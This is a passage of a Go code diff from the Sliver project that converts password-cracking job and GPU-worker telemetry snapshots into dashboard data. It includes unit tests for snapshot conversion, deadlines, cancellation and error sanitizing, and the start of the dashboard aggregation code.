||||
RefreshedAt: refreshedAt,
|
||||
taskTelemetry: map[string]crackTopTaskTelemetry{},
|
||||
}
|
||||
for index, job := range wire.GetJobs() {
|
||||
snapshot.Jobs[index] = crackTopJobFromWire(job, snapshot.taskTelemetry)
|
||||
}
|
||||
for index, station := range wire.GetCrackstations() {
|
||||
snapshot.Stations[index] = crackTopStationFromWire(station)
|
||||
}
|
||||
return snapshot, nil
|
||||
}
|
||||
|
||||
func crackTopJobFromWire(wire *clientpb.CrackTopJob, telemetry map[string]crackTopTaskTelemetry) *clientpb.CrackJob {
|
||||
if wire == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
command := &clientpb.CrackCommand{
|
||||
AttackMode: wire.GetAttackMode(),
|
||||
HashType: wire.GetHashType(),
|
||||
}
|
||||
if wire.HashMode != nil {
|
||||
hashMode := wire.GetHashMode()
|
||||
command.HashMode = &hashMode
|
||||
}
|
||||
job := &clientpb.CrackJob{
|
||||
ID: wire.GetID(),
|
||||
CreatedAt: wire.GetCreatedAt(),
|
||||
CompletedAt: wire.GetCompletedAt(),
|
||||
Status: wire.GetStatus(),
|
||||
Command: command,
|
||||
UpdatedAt: wire.GetUpdatedAt(),
|
||||
ResultCount: wire.GetResultCount(),
|
||||
Tasks: make([]*clientpb.CrackTask, len(wire.GetTasks())),
|
||||
}
|
||||
for index, task := range wire.GetTasks() {
|
||||
job.Tasks[index] = crackTopTaskFromWire(task, telemetry)
|
||||
}
|
||||
return job
|
||||
}
|
||||
|
||||
func crackTopTaskFromWire(wire *clientpb.CrackTopTask, telemetry map[string]crackTopTaskTelemetry) *clientpb.CrackTask {
|
||||
if wire == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
task := &clientpb.CrackTask{
|
||||
ID: wire.GetID(),
|
||||
HostUUID: wire.GetHostUUID(),
|
||||
CreatedAt: wire.GetCreatedAt(),
|
||||
StartedAt: wire.GetStartedAt(),
|
||||
CompletedAt: wire.GetCompletedAt(),
|
||||
Kind: wire.GetKind(),
|
||||
State: wire.GetState(),
|
||||
Attempt: wire.GetAttempt(),
|
||||
LeaseExpiresAt: wire.GetLeaseExpiresAt(),
|
||||
UpdatedAt: wire.GetUpdatedAt(),
|
||||
LastHeartbeatAt: wire.GetLastHeartbeatAt(),
|
||||
ShardSkip: wire.GetShardSkip(),
|
||||
ShardLimit: wire.GetShardLimit(),
|
||||
}
|
||||
|
||||
taskID := strings.TrimSpace(task.GetID())
|
||||
if telemetry == nil || taskID == "" {
|
||||
return task
|
||||
}
|
||||
metadata := crackTopTaskTelemetry{
|
||||
parseErr: wire.GetStatusParseError(),
|
||||
progressExact: wire.GetProgressExact(),
|
||||
}
|
||||
if wire.GetStatusAvailable() && !metadata.parseErr {
|
||||
metadata.status = &crackStatusView{Devices: crackTopDevicesFromWire(wire.GetDevices())}
|
||||
if metadata.progressExact || wire.GetShardSkip() == 0 {
|
||||
metadata.status.ProgressCurrent = wire.GetProgressCurrent()
|
||||
metadata.status.ProgressTotal = wire.GetProgressTotal()
|
||||
}
|
||||
}
|
||||
if metadata.status != nil || metadata.parseErr {
|
||||
telemetry[taskID] = metadata
|
||||
}
|
||||
return task
|
||||
}
|
||||
|
||||
func crackTopDevicesFromWire(devices []*clientpb.CrackTopDevice) []crackDeviceView {
|
||||
converted := make([]crackDeviceView, 0, len(devices))
|
||||
for _, device := range devices {
|
||||
if device == nil {
|
||||
continue
|
||||
}
|
||||
view := crackDeviceView{ID: device.GetID()}
|
||||
if device.GetSpeedAvailable() {
|
||||
view.Speed = strconv.FormatUint(device.GetSpeed(), 10)
|
||||
}
|
||||
if device.GetTemperatureAvailable() {
|
||||
view.Temperature = strconv.FormatFloat(device.GetTemperature(), 'f', -1, 64)
|
||||
}
|
||||
if device.GetUtilizationAvailable() {
|
||||
view.Utilization = strconv.FormatFloat(device.GetUtilization(), 'f', -1, 64)
|
||||
}
|
||||
converted = append(converted, view)
|
||||
}
|
||||
return converted
|
||||
}
|
||||
|
||||
func crackTopStationFromWire(wire *clientpb.CrackTopStation) *clientpb.Crackstation {
|
||||
if wire == nil {
|
||||
return nil
|
||||
}
|
||||
station := &clientpb.Crackstation{
|
||||
ID: wire.GetID(),
|
||||
Name: wire.GetName(),
|
||||
HostUUID: wire.GetHostUUID(),
|
||||
}
|
||||
if wire.GetStatusAvailable() {
|
||||
station.Status = &clientpb.CrackstationStatus{
|
||||
Name: wire.GetName(),
|
||||
HostUUID: wire.GetHostUUID(),
|
||||
State: wire.GetState(),
|
||||
CurrentCrackJobID: wire.GetCurrentCrackJobID(),
|
||||
IsSyncing: wire.GetIsSyncing(),
|
||||
}
|
||||
}
|
||||
return station
|
||||
}
|
||||
|
||||
func crackTopContextError(scope string, err error) error {
|
||||
message := crackTopSanitizeError(err)
|
||||
if strings.TrimSpace(scope) == "" {
|
||||
return errors.New(message)
|
||||
}
|
||||
return fmt.Errorf("%s: %s", strings.TrimSpace(scope), message)
|
||||
}
|
||||
|
||||
func crackTopWarningText(message string) string {
|
||||
return crackTopSanitizeError(errors.New(message))
|
||||
}
|
||||
|
||||
func crackTopSanitizeError(err error) string {
|
||||
if err == nil {
|
||||
return "unknown error"
|
||||
}
|
||||
message := ansi.Strip(err.Error())
|
||||
message = strings.Map(func(character rune) rune {
|
||||
if unicode.IsSpace(character) {
|
||||
return ' '
|
||||
}
|
||||
if !unicode.IsPrint(character) {
|
||||
return -1
|
||||
}
|
||||
return character
|
||||
}, message)
|
||||
message = strings.Join(strings.Fields(message), " ")
|
||||
if message == "" {
|
||||
return "unknown error"
|
||||
}
|
||||
runes := []rune(message)
|
||||
if len(runes) > crackTopWarningRunes {
|
||||
message = string(runes[:crackTopWarningRunes-1]) + "…"
|
||||
}
|
||||
return message
|
||||
}
|
||||
@@ -0,0 +1,424 @@
|
||||
package crack
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"strings"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"google.golang.org/grpc"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
type crackTopRPCTestClient struct {
|
||||
calls atomic.Int32
|
||||
call func(context.Context, *commonpb.Empty) (*clientpb.CrackTopSnapshot, error)
|
||||
}
|
||||
|
||||
func (client *crackTopRPCTestClient) CrackTop(ctx context.Context, request *commonpb.Empty, _ ...grpc.CallOption) (*clientpb.CrackTopSnapshot, error) {
|
||||
client.calls.Add(1)
|
||||
if client.call == nil {
|
||||
return nil, nil
|
||||
}
|
||||
return client.call(ctx, request)
|
||||
}
|
||||
|
||||
//nolint:gocyclo // This test intentionally validates every field in one complete lean-snapshot conversion.
|
||||
func TestLoadCrackTopSnapshotUsesOneRPCAndConvertsLeanSnapshot(t *testing.T) {
|
||||
hashMode := uint32(5600)
|
||||
wire := &clientpb.CrackTopSnapshot{
|
||||
ObservedAt: 1_700_000_123,
|
||||
Jobs: []*clientpb.CrackTopJob{
|
||||
{
|
||||
ID: "job-one",
|
||||
CreatedAt: "2026-09-12T10:00:00Z",
|
||||
CompletedAt: "",
|
||||
Status: clientpb.CrackJobStatus_IN_PROGRESS,
|
||||
UpdatedAt: 1_700_000_120,
|
||||
ResultCount: 7,
|
||||
AttackMode: clientpb.CrackAttackMode_BRUTEFORCE,
|
||||
HashType: clientpb.HashType_NET_NTLM_V2,
|
||||
HashMode: &hashMode,
|
||||
Tasks: []*clientpb.CrackTopTask{
|
||||
{
|
||||
ID: "task-live",
|
||||
HostUUID: "worker-one",
|
||||
CreatedAt: 11,
|
||||
StartedAt: 12,
|
||||
CompletedAt: 13,
|
||||
Kind: clientpb.CrackTaskKind_CRACK_TASK_CRACK,
|
||||
State: clientpb.CrackTaskState_CRACK_TASK_RUNNING,
|
||||
Attempt: 2,
|
||||
LeaseExpiresAt: 1_700_000_500,
|
||||
UpdatedAt: 14,
|
||||
LastHeartbeatAt: 15,
|
||||
ShardSkip: 100,
|
||||
ShardLimit: 200,
|
||||
ProgressCurrent: "125",
|
||||
ProgressTotal: "300",
|
||||
StatusAvailable: true,
|
||||
StatusParseError: false,
|
||||
ProgressExact: true,
|
||||
Devices: []*clientpb.CrackTopDevice{
|
||||
{
|
||||
ID: "gpu-0",
|
||||
Speed: 9_876_543,
|
||||
SpeedAvailable: true,
|
||||
Temperature: 71.5,
|
||||
TemperatureAvailable: true,
|
||||
Utilization: 99.25,
|
||||
UtilizationAvailable: true,
|
||||
},
|
||||
nil,
|
||||
{ID: "gpu-1", Speed: 123, Temperature: 45, Utilization: 67},
|
||||
},
|
||||
},
|
||||
nil,
|
||||
{
|
||||
ID: "task-malformed",
|
||||
HostUUID: "worker-two",
|
||||
Kind: clientpb.CrackTaskKind_CRACK_TASK_CRACK,
|
||||
State: clientpb.CrackTaskState_CRACK_TASK_RUNNING,
|
||||
ProgressCurrent: "sensitive-raw-data-must-not-be-rebuilt",
|
||||
StatusAvailable: true,
|
||||
StatusParseError: true,
|
||||
},
|
||||
},
|
||||
},
|
||||
nil,
|
||||
{ID: "job-two", Status: clientpb.CrackJobStatus_COMPLETED},
|
||||
},
|
||||
Crackstations: []*clientpb.CrackTopStation{
|
||||
{
|
||||
ID: "station-one",
|
||||
Name: "rig-one",
|
||||
HostUUID: "worker-one",
|
||||
State: clientpb.States_CRACKING,
|
||||
CurrentCrackJobID: "job-one",
|
||||
IsSyncing: false,
|
||||
StatusAvailable: true,
|
||||
},
|
||||
nil,
|
||||
{ID: "station-two", Name: "rig-two", HostUUID: "worker-two"},
|
||||
},
|
||||
}
|
||||
wireBefore := proto.Clone(wire).(*clientpb.CrackTopSnapshot)
|
||||
client := &crackTopRPCTestClient{
|
||||
call: func(ctx context.Context, request *commonpb.Empty) (*clientpb.CrackTopSnapshot, error) {
|
||||
if ctx == nil {
|
||||
t.Fatal("CrackTop received a nil context")
|
||||
}
|
||||
if request == nil {
|
||||
t.Fatal("CrackTop received a nil request")
|
||||
}
|
||||
return wire, nil
|
||||
},
|
||||
}
|
||||
|
||||
fallback := time.Unix(1_600_000_000, 987_654_321)
|
||||
snapshot, err := loadCrackTopSnapshot(t.Context(), client, time.Second, fallback)
|
||||
if err != nil {
|
||||
t.Fatalf("loadCrackTopSnapshot: %v", err)
|
||||
}
|
||||
if client.calls.Load() != 1 {
|
||||
t.Fatalf("CrackTop calls = %d, want 1", client.calls.Load())
|
||||
}
|
||||
if want := time.Unix(wire.GetObservedAt(), 0); !snapshot.RefreshedAt.Equal(want) {
|
||||
t.Fatalf("RefreshedAt = %s, want server observation time %s", snapshot.RefreshedAt, want)
|
||||
}
|
||||
if !proto.Equal(wire, wireBefore) {
|
||||
t.Fatal("loader mutated the wire snapshot")
|
||||
}
|
||||
|
||||
if len(snapshot.Jobs) != 3 || snapshot.Jobs[1] != nil || snapshot.Jobs[2].GetID() != "job-two" {
|
||||
t.Fatalf("jobs did not preserve wire order and nil entries: %#v", snapshot.Jobs)
|
||||
}
|
||||
job := snapshot.Jobs[0]
|
||||
if job.GetID() != "job-one" || job.GetCreatedAt() != wire.Jobs[0].GetCreatedAt() || job.GetCompletedAt() != wire.Jobs[0].GetCompletedAt() ||
|
||||
job.GetStatus() != clientpb.CrackJobStatus_IN_PROGRESS || job.GetUpdatedAt() != 1_700_000_120 || job.GetResultCount() != 7 {
|
||||
t.Fatalf("converted job metadata = %#v", job)
|
||||
}
|
||||
if job.GetCommand() == nil || job.GetCommand().GetAttackMode() != clientpb.CrackAttackMode_BRUTEFORCE ||
|
||||
job.GetCommand().GetHashType() != clientpb.HashType_NET_NTLM_V2 || job.GetCommand().HashMode == nil || job.GetCommand().GetHashMode() != hashMode {
|
||||
t.Fatalf("converted job command = %#v", job.GetCommand())
|
||||
}
|
||||
if job.GetErr() != "" || job.GetResultFileID() != "" || job.GetKeyspace() != "" || len(job.GetResults()) != 0 ||
|
||||
len(job.GetCommand().GetHashes()) != 0 || len(job.GetCommand().GetPositionalArguments()) != 0 || len(job.GetCommand().GetCredentialIDs()) != 0 {
|
||||
t.Fatalf("lean job conversion populated target or result fields: %#v", job)
|
||||
}
|
||||
if len(job.GetTasks()) != 3 || job.GetTasks()[1] != nil {
|
||||
t.Fatalf("tasks did not preserve wire order and nil entries: %#v", job.GetTasks())
|
||||
}
|
||||
task := job.GetTasks()[0]
|
||||
if task.GetID() != "task-live" || task.GetHostUUID() != "worker-one" || task.GetCreatedAt() != 11 || task.GetStartedAt() != 12 ||
|
||||
task.GetCompletedAt() != 13 || task.GetKind() != clientpb.CrackTaskKind_CRACK_TASK_CRACK ||
|
||||
task.GetState() != clientpb.CrackTaskState_CRACK_TASK_RUNNING || task.GetAttempt() != 2 ||
|
||||
task.GetLeaseExpiresAt() != 1_700_000_500 || task.GetUpdatedAt() != 14 || task.GetLastHeartbeatAt() != 15 ||
|
||||
task.GetShardSkip() != 100 || task.GetShardLimit() != 200 {
|
||||
t.Fatalf("converted task metadata = %#v", task)
|
||||
}
|
||||
if task.GetErr() != "" || len(task.GetStdout()) != 0 || len(task.GetStderr()) != 0 || task.GetCommand() != nil ||
|
||||
task.GetLeaseToken() != "" || task.GetKeyspace() != "" || len(task.GetLatestStatusJSON()) != 0 || len(task.GetRecoveredJSON()) != 0 {
|
||||
t.Fatalf("lean task conversion populated execution or raw telemetry fields: %#v", task)
|
||||
}
|
||||
|
||||
metadata, ok := snapshot.taskTelemetry["task-live"]
|
||||
if !ok || metadata.parseErr || metadata.status == nil {
|
||||
t.Fatalf("live task telemetry = %#v, present=%v", metadata, ok)
|
||||
}
|
||||
if !metadata.progressExact {
|
||||
t.Fatal("server-declared exact progress was discarded")
|
||||
}
|
||||
if metadata.status.ProgressCurrent != "125" || metadata.status.ProgressTotal != "300" || len(metadata.status.Devices) != 2 {
|
||||
t.Fatalf("converted status = %#v", metadata.status)
|
||||
}
|
||||
firstDevice := metadata.status.Devices[0]
|
||||
if firstDevice.ID != "gpu-0" || firstDevice.Speed != "9876543" || firstDevice.Temperature != "71.5" || firstDevice.Utilization != "99.25" {
|
||||
t.Fatalf("converted available device telemetry = %#v", firstDevice)
|
||||
}
|
||||
secondDevice := metadata.status.Devices[1]
|
||||
if secondDevice.ID != "gpu-1" || secondDevice.Speed != "" || secondDevice.Temperature != "" || secondDevice.Utilization != "" {
|
||||
t.Fatalf("unavailable device telemetry was treated as available: %#v", secondDevice)
|
||||
}
|
||||
malformed, ok := snapshot.taskTelemetry["task-malformed"]
|
||||
if !ok || !malformed.parseErr || malformed.status != nil {
|
||||
t.Fatalf("malformed task telemetry = %#v, present=%v", malformed, ok)
|
||||
}
|
||||
|
||||
if len(snapshot.Stations) != 3 || snapshot.Stations[1] != nil {
|
||||
t.Fatalf("stations did not preserve wire order and nil entries: %#v", snapshot.Stations)
|
||||
}
|
||||
station := snapshot.Stations[0]
|
||||
if station.GetID() != "station-one" || station.GetName() != "rig-one" || station.GetHostUUID() != "worker-one" || station.GetStatus() == nil ||
|
||||
station.GetStatus().GetName() != "rig-one" || station.GetStatus().GetHostUUID() != "worker-one" ||
|
||||
station.GetStatus().GetState() != clientpb.States_CRACKING || station.GetStatus().GetCurrentCrackJobID() != "job-one" || station.GetStatus().GetIsSyncing() {
|
||||
t.Fatalf("converted station = %#v", station)
|
||||
}
|
||||
if station.GetOperatorName() != "" || station.GetGOOS() != "" || station.GetGOARCH() != "" || station.GetVersion() != "" ||
|
||||
len(station.GetBenchmarks()) != 0 || len(station.GetCUDA()) != 0 || len(station.GetMetal()) != 0 || len(station.GetOpenCL()) != 0 ||
|
||||
len(station.GetHIP()) != 0 || len(station.GetCapabilities()) != 0 {
|
||||
t.Fatalf("lean station conversion populated private inventory fields: %#v", station)
|
||||
}
|
||||
if snapshot.Stations[2].GetStatus() != nil {
|
||||
t.Fatalf("station without available status got a fabricated status: %#v", snapshot.Stations[2])
|
||||
}
|
||||
|
||||
*snapshot.Jobs[0].Command.HashMode = 1000
|
||||
snapshot.Jobs[0].Tasks[0].ID = "changed-task"
|
||||
snapshot.Stations[0].Status.Name = "changed-station"
|
||||
metadata.status.Devices[0].ID = "changed-device"
|
||||
if wire.Jobs[0].GetHashMode() != 5600 || wire.Jobs[0].Tasks[0].GetID() != "task-live" ||
|
||||
wire.Crackstations[0].GetName() != "rig-one" || wire.Jobs[0].Tasks[0].Devices[0].GetID() != "gpu-0" {
|
||||
t.Fatal("converted snapshot aliases mutable wire data")
|
||||
}
|
||||
}
|
||||
|
||||
//nolint:gocyclo // This test intentionally covers the full loader-to-dashboard telemetry path.
|
||||
func TestLoadCrackTopSnapshotFeedsDashboardTelemetry(t *testing.T) {
|
||||
now := time.Unix(1_700_000_000, 0)
|
||||
client := &crackTopRPCTestClient{
|
||||
call: func(context.Context, *commonpb.Empty) (*clientpb.CrackTopSnapshot, error) {
|
||||
return &clientpb.CrackTopSnapshot{
|
||||
ObservedAt: now.Unix(),
|
||||
Jobs: []*clientpb.CrackTopJob{{
|
||||
ID: crackTopTestJobID,
|
||||
Status: clientpb.CrackJobStatus_IN_PROGRESS,
|
||||
Tasks: []*clientpb.CrackTopTask{{
|
||||
ID: "task-wire",
|
||||
HostUUID: "worker-wire",
|
||||
Kind: clientpb.CrackTaskKind_CRACK_TASK_UNSPECIFIED,
|
||||
State: clientpb.CrackTaskState_CRACK_TASK_RUNNING,
|
||||
LeaseExpiresAt: now.Add(time.Minute).Unix(),
|
||||
LastHeartbeatAt: now.Unix(),
|
||||
ProgressCurrent: "25",
|
||||
ProgressTotal: "100",
|
||||
StatusAvailable: true,
|
||||
ProgressExact: true,
|
||||
Devices: []*clientpb.CrackTopDevice{{
|
||||
ID: "gpu-0",
|
||||
Speed: 125_000,
|
||||
SpeedAvailable: true,
|
||||
Temperature: 67,
|
||||
TemperatureAvailable: true,
|
||||
Utilization: 98,
|
||||
UtilizationAvailable: true,
|
||||
}},
|
||||
}},
|
||||
}},
|
||||
Crackstations: []*clientpb.CrackTopStation{{
|
||||
ID: "station-wire",
|
||||
Name: "Wire Worker",
|
||||
HostUUID: "worker-wire",
|
||||
State: clientpb.States_CRACKING,
|
||||
CurrentCrackJobID: crackTopTestJobID,
|
||||
StatusAvailable: true,
|
||||
}},
|
||||
}, nil
|
||||
},
|
||||
}
|
||||
|
||||
snapshot, err := loadCrackTopSnapshot(t.Context(), client, time.Second, time.Time{})
|
||||
if err != nil {
|
||||
t.Fatalf("loadCrackTopSnapshot: %v", err)
|
||||
}
|
||||
dashboard := buildCrackTopDashboard(snapshot)
|
||||
if len(dashboard.Jobs) != 1 || !dashboard.Jobs[0].ProgressKnown || dashboard.Jobs[0].Progress != 0.25 {
|
||||
t.Fatalf("job progress from narrow telemetry = %#v", dashboard.Jobs)
|
||||
}
|
||||
if !dashboard.ClusterRateKnown || !dashboard.ClusterComplete || dashboard.ClusterRate != 125_000 {
|
||||
t.Fatalf("cluster telemetry = rate:%d known:%v complete:%v", dashboard.ClusterRate, dashboard.ClusterRateKnown, dashboard.ClusterComplete)
|
||||
}
|
||||
if len(dashboard.Workers) != 1 {
|
||||
t.Fatalf("workers = %#v, want one", dashboard.Workers)
|
||||
}
|
||||
worker := dashboard.Workers[0]
|
||||
if !worker.TelemetryLive || !worker.RateKnown || worker.Rate != 125_000 || worker.Devices != 1 ||
|
||||
!worker.HasTemp || worker.Temperature != 67 || !worker.HasUtil || worker.Utilization != 98 {
|
||||
t.Fatalf("worker telemetry from narrow snapshot = %#v", worker)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadCrackTopSnapshotUsesCompletionTimeOnlyWithoutObservedAt(t *testing.T) {
|
||||
fallback := time.Unix(1_700_000_000, 123_456_789)
|
||||
client := &crackTopRPCTestClient{
|
||||
call: func(context.Context, *commonpb.Empty) (*clientpb.CrackTopSnapshot, error) {
|
||||
return &clientpb.CrackTopSnapshot{}, nil
|
||||
},
|
||||
}
|
||||
|
||||
snapshot, err := loadCrackTopSnapshot(t.Context(), client, 0, fallback)
|
||||
if err != nil {
|
||||
t.Fatalf("loadCrackTopSnapshot: %v", err)
|
||||
}
|
||||
if !snapshot.RefreshedAt.Equal(fallback) {
|
||||
t.Fatalf("RefreshedAt = %s, want deterministic completion time %s", snapshot.RefreshedAt, fallback)
|
||||
}
|
||||
if client.calls.Load() != 1 {
|
||||
t.Fatalf("CrackTop calls = %d, want 1", client.calls.Load())
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadCrackTopSnapshotPropagatesDeadlineAndCancelsCallContext(t *testing.T) {
|
||||
var callContext context.Context
|
||||
var deadline time.Time
|
||||
client := &crackTopRPCTestClient{
|
||||
call: func(ctx context.Context, _ *commonpb.Empty) (*clientpb.CrackTopSnapshot, error) {
|
||||
callContext = ctx
|
||||
var ok bool
|
||||
deadline, ok = ctx.Deadline()
|
||||
if !ok {
|
||||
t.Fatal("CrackTop context has no deadline")
|
||||
}
|
||||
return &clientpb.CrackTopSnapshot{ObservedAt: 1}, nil
|
||||
},
|
||||
}
|
||||
|
||||
started := time.Now()
|
||||
timeout := time.Second
|
||||
_, err := loadCrackTopSnapshot(t.Context(), client, timeout, time.Time{})
|
||||
if err != nil {
|
||||
t.Fatalf("loadCrackTopSnapshot: %v", err)
|
||||
}
|
||||
if client.calls.Load() != 1 {
|
||||
t.Fatalf("CrackTop calls = %d, want 1", client.calls.Load())
|
||||
}
|
||||
if deadline.Before(started) || deadline.After(started.Add(timeout+100*time.Millisecond)) {
|
||||
t.Fatalf("RPC deadline = %s, want about %s after %s", deadline, timeout, started)
|
||||
}
|
||||
select {
|
||||
case <-callContext.Done():
|
||||
if !errors.Is(callContext.Err(), context.Canceled) {
|
||||
t.Fatalf("completed call context error = %v, want context canceled", callContext.Err())
|
||||
}
|
||||
default:
|
||||
t.Fatal("completed call context was not canceled")
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadCrackTopSnapshotReturnsNilOnTimeout(t *testing.T) {
|
||||
client := &crackTopRPCTestClient{
|
||||
call: func(ctx context.Context, _ *commonpb.Empty) (*clientpb.CrackTopSnapshot, error) {
|
||||
<-ctx.Done()
|
||||
return nil, ctx.Err()
|
||||
},
|
||||
}
|
||||
|
||||
snapshot, err := loadCrackTopSnapshot(t.Context(), client, 10*time.Millisecond, time.Time{})
|
||||
if snapshot != nil {
|
||||
t.Fatalf("timed-out load returned snapshot: %#v", snapshot)
|
||||
}
|
||||
if err == nil || err.Error() != "load crack top snapshot: context deadline exceeded" {
|
||||
t.Fatalf("timed-out load error = %v", err)
|
||||
}
|
||||
if client.calls.Load() != 1 {
|
||||
t.Fatalf("CrackTop calls = %d, want 1", client.calls.Load())
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadCrackTopSnapshotPropagatesParentCancellation(t *testing.T) {
|
||||
ctx, cancel := context.WithCancel(t.Context())
|
||||
cancel()
|
||||
client := &crackTopRPCTestClient{
|
||||
call: func(ctx context.Context, _ *commonpb.Empty) (*clientpb.CrackTopSnapshot, error) {
|
||||
<-ctx.Done()
|
||||
return nil, ctx.Err()
|
||||
},
|
||||
}
|
||||
|
||||
snapshot, err := loadCrackTopSnapshot(ctx, client, time.Second, time.Time{})
|
||||
if snapshot != nil {
|
||||
t.Fatalf("canceled load returned snapshot: %#v", snapshot)
|
||||
}
|
||||
if err == nil || err.Error() != "load crack top snapshot: context canceled" {
|
||||
t.Fatalf("canceled load error = %v", err)
|
||||
}
|
||||
if client.calls.Load() != 1 {
|
||||
t.Fatalf("CrackTop calls = %d, want 1", client.calls.Load())
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadCrackTopSnapshotSanitizesRPCErrorAndRejectsEmptyResponse(t *testing.T) {
|
||||
t.Run("rpc error", func(t *testing.T) {
|
||||
raw := errors.New("bad\r\n\x1b[31mserver\x1b[0m\tfailure")
|
||||
client := &crackTopRPCTestClient{
|
||||
call: func(context.Context, *commonpb.Empty) (*clientpb.CrackTopSnapshot, error) {
|
||||
return nil, raw
|
||||
},
|
||||
}
|
||||
|
||||
snapshot, err := loadCrackTopSnapshot(t.Context(), client, time.Second, time.Time{})
|
||||
if snapshot != nil {
|
||||
t.Fatalf("failed load returned snapshot: %#v", snapshot)
|
||||
}
|
||||
if err == nil || err.Error() != "load crack top snapshot: bad server failure" {
|
||||
t.Fatalf("sanitized error = %v", err)
|
||||
}
|
||||
if errors.Is(err, raw) {
|
||||
t.Fatal("sanitized error retained the raw RPC error in its unwrap chain")
|
||||
}
|
||||
if strings.ContainsAny(err.Error(), "\r\n\t\x1b") {
|
||||
t.Fatalf("error still contains terminal controls: %q", err)
|
||||
}
|
||||
if client.calls.Load() != 1 {
|
||||
t.Fatalf("CrackTop calls = %d, want 1", client.calls.Load())
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("nil response", func(t *testing.T) {
|
||||
client := &crackTopRPCTestClient{}
|
||||
snapshot, err := loadCrackTopSnapshot(t.Context(), client, time.Second, time.Time{})
|
||||
if snapshot != nil {
|
||||
t.Fatalf("empty load returned snapshot: %#v", snapshot)
|
||||
}
|
||||
if err == nil || err.Error() != "load crack top snapshot: server returned an empty response" {
|
||||
t.Fatalf("empty response error = %v", err)
|
||||
}
|
||||
if client.calls.Load() != 1 {
|
||||
t.Fatalf("CrackTop calls = %d, want 1", client.calls.Load())
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,648 @@
|
||||
package crack
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"math"
|
||||
"math/big"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
"unicode"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/charmbracelet/x/ansi"
|
||||
)
|
||||
|
||||
const crackTopMaxProgressTextSize = 148
|
||||
|
||||
type crackTopDashboard struct {
|
||||
Jobs []crackTopJobRow
|
||||
Workers []crackTopWorkerRow
|
||||
ActiveJobs int
|
||||
OnlineWorkers int
|
||||
Unavailable int
|
||||
Recovered uint64
|
||||
ClusterRate uint64
|
||||
ClusterRateKnown bool
|
||||
ClusterComplete bool
|
||||
ExpectedWorkers int
|
||||
ReportingWorkers int
|
||||
Progress float64
|
||||
ProgressKnown bool
|
||||
ProgressJobs int
|
||||
}
|
||||
|
||||
type crackTopJobRow struct {
|
||||
ID string
|
||||
Status clientpb.CrackJobStatus
|
||||
CreatedAt time.Time
|
||||
UpdatedAt time.Time
|
||||
Progress float64
|
||||
ProgressKnown bool
|
||||
ProgressComplete bool
|
||||
Rate uint64
|
||||
RateKnown bool
|
||||
Workers int
|
||||
Reporting int
|
||||
Results uint64
|
||||
Mode string
|
||||
TelemetryErrors int
|
||||
}
|
||||
|
||||
type crackTopWorkerRow struct {
|
||||
ID string
|
||||
Name string
|
||||
State string
|
||||
Online bool
|
||||
Syncing bool
|
||||
JobID string
|
||||
Rate uint64
|
||||
RateKnown bool
|
||||
Devices int
|
||||
Temperature float64
|
||||
HasTemp bool
|
||||
Utilization float64
|
||||
HasUtil bool
|
||||
LastSeen time.Time
|
||||
TelemetryLive bool
|
||||
}
|
||||
|
||||
type crackTopTaskSample struct {
|
||||
jobID string
|
||||
task *clientpb.CrackTask
|
||||
status *crackStatusView
|
||||
statusErr error
|
||||
rate uint64
|
||||
rateKnown bool
|
||||
devices int
|
||||
temperature float64
|
||||
hasTemp bool
|
||||
utilization float64
|
||||
hasUtil bool
|
||||
lastSeen time.Time
|
||||
}
|
||||
|
||||
type crackTopProgressAccumulator struct {
|
||||
completed *big.Rat
|
||||
total *big.Rat
|
||||
}
|
||||
|
||||
func newCrackTopProgressAccumulator() *crackTopProgressAccumulator {
|
||||
return &crackTopProgressAccumulator{completed: new(big.Rat), total: new(big.Rat)}
|
||||
}
|
||||
|
||||
func (a *crackTopProgressAccumulator) add(fraction, weight *big.Rat) {
|
||||
if a == nil || fraction == nil || weight == nil || weight.Sign() <= 0 {
|
||||
return
|
||||
}
|
||||
clamped := new(big.Rat).Set(fraction)
|
||||
if clamped.Sign() < 0 {
|
||||
clamped.SetInt64(0)
|
||||
}
|
||||
if clamped.Cmp(big.NewRat(1, 1)) > 0 {
|
||||
clamped.SetInt64(1)
|
||||
}
|
||||
a.completed.Add(a.completed, new(big.Rat).Mul(clamped, weight))
|
||||
a.total.Add(a.total, weight)
|
||||
}
|
||||
|
||||
func (a *crackTopProgressAccumulator) value() (float64, bool) {
|
||||
if a == nil || a.total.Sign() <= 0 {
|
||||
return 0, false
|
||||
}
|
||||
fraction, _ := new(big.Rat).Quo(a.completed, a.total).Float64()
|
||||
if math.IsNaN(fraction) || math.IsInf(fraction, 0) {
|
||||
return 0, false
|
||||
}
|
||||
return math.Max(0, math.Min(1, fraction)), true
|
||||
}
|
||||
|
||||
//nolint:gocyclo // Jobs, task telemetry, and connected workers are normalized in one immutable snapshot pass.
|
||||
func buildCrackTopDashboard(snapshot *crackTopSnapshot) crackTopDashboard {
|
||||
dashboard := crackTopDashboard{}
|
||||
if snapshot == nil {
|
||||
return dashboard
|
||||
}
|
||||
|
||||
stations := make(map[string]*clientpb.Crackstation, len(snapshot.Stations))
|
||||
for _, station := range snapshot.Stations {
|
||||
if station == nil {
|
||||
continue
|
||||
}
|
||||
hostID := crackTopStationID(station)
|
||||
if hostID == "" {
|
||||
continue
|
||||
}
|
||||
if _, exists := stations[hostID]; !exists {
|
||||
stations[hostID] = station
|
||||
}
|
||||
}
|
||||
dashboard.OnlineWorkers = len(stations)
|
||||
|
||||
jobs := make([]*clientpb.CrackJob, 0, len(snapshot.Jobs))
|
||||
for _, job := range snapshot.Jobs {
|
||||
if job != nil && strings.TrimSpace(job.GetID()) != "" {
|
||||
jobs = append(jobs, job)
|
||||
